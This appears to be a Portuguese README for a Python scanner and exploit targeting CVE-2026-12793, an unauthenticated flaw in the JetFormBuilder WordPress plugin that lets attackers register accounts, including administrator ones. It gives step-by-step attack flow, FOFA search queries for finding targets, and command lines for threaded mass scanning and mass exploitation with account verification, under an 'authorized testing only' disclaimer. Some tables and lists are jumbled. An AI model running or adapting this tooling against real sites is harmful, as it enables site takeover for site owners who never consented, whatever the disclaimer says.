
Scanner PoC em Python e exploit para CVE-2026-12793, uma escalada de privilégios não autenticada no JetFormBuilder <=3.6.2 que cria contas de administrador do WordPress.
Scanner de prova de conceito e exploit para CVE-2026-12793 no plugin WordPress JetFormBuilder — Dynamic Blocks Form Builder (Crocoblock).
| CVE | CVE-2026-12793 |
| Plugin | jetformbuilder |
| Afetado | ≤ 3.6.2 |
| Corrigido em | 3.6.2.1+ |
| CVSS | 9.8 Crítico |
| Autenticação | Não autenticada |
| CWE | CWE-269 — Gerenciamento Impróprio de Privilégios |
| Pesquisador | daroo (Wordfence) |
O plugin não verifica se _jet_engine_booking_form_id se refere a um custom post type jet-form-builder publicado antes de carregar o conteúdo de bloco do post referenciado como esquema de formulário e executar ações pós-envio.
Um atacante não autenticado pode enviar uma requisição AJAX elaborada para acionar a ação Register User (wp_insert_user) e criar uma nova conta WordPress. Se o formulário alvo estiver mal configurado com um papel elevado (por exemplo, administrator), isso leva ao controle total do site.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — apenas CPT jet-form-builder publicado é aceitoForm_Handler::set_form_id() rejeita IDs de formulário inválidoswp_insert_user / wp_update_user bloqueados como callbacks)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
Formatos de entrada: um domínio/URL por linha, CSV do FOFA (host,domain), ou candidates.jsonl de uma execução anterior.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| Arquivo | Conteúdo |
|---|---|
hits.txt |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
Nomes de campos auto-detectados são heurísticos. Sempre verifique e substitua com
--fieldsantes do exploit.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
Verificação de versão:
/wp-content/plugins/jetformbuilder/readme.txt
Procure por Stable tag: ≤ 3.6.2.
Esta ferramenta é fornecida para testes de segurança autorizados e fins educacionais apenas. Acesso não autorizado a sistemas de computador é ilegal. Os autores não assumem qualquer responsabilidade pelo uso indevido.
MIT
| Flag | Descrição |
|---|
-u, --url | URL de alvo único |
--list | Arquivo de lista de alvos |
--mode | check (padrão) ou exploit |
--form-id | ID do post de formulário JetFormBuilder conhecido |
--page-url | Página que incorpora o formulário (referer), ex.: /register/ |
--fields | Mapa de campos: login=x,email=y,password=z |
--paths | Caminhos extras para rastrear formulários |
--username / --email / --password | Credenciais para exploit (aleatórias se omitidas) |
--verify | Verificar conta via wp-login.php após o envio |
-j, --threads | Threads de trabalho (padrão: 20) |
--timeout | Timeout HTTP em segundos (padrão: 20) |
--proxy | URL de proxy HTTP(S) |
--output | Log JSONL completo (padrão: cve_2026_12793_results.jsonl) |
--vuln-list | Lista de acertos (padrão: hits.txt) |
--candidates-list | JSONL de candidatos (padrão: candidates.jsonl) |
-q, --quiet | Apenas saída de progresso |
| URLs de alvos vulneráveis / explorados |
candidates.jsonl | Alvos com sonda Register User acessível (form_id, page_url, fields) |
cve_2026_12793_results.jsonl | Resultados JSON completos por alvo |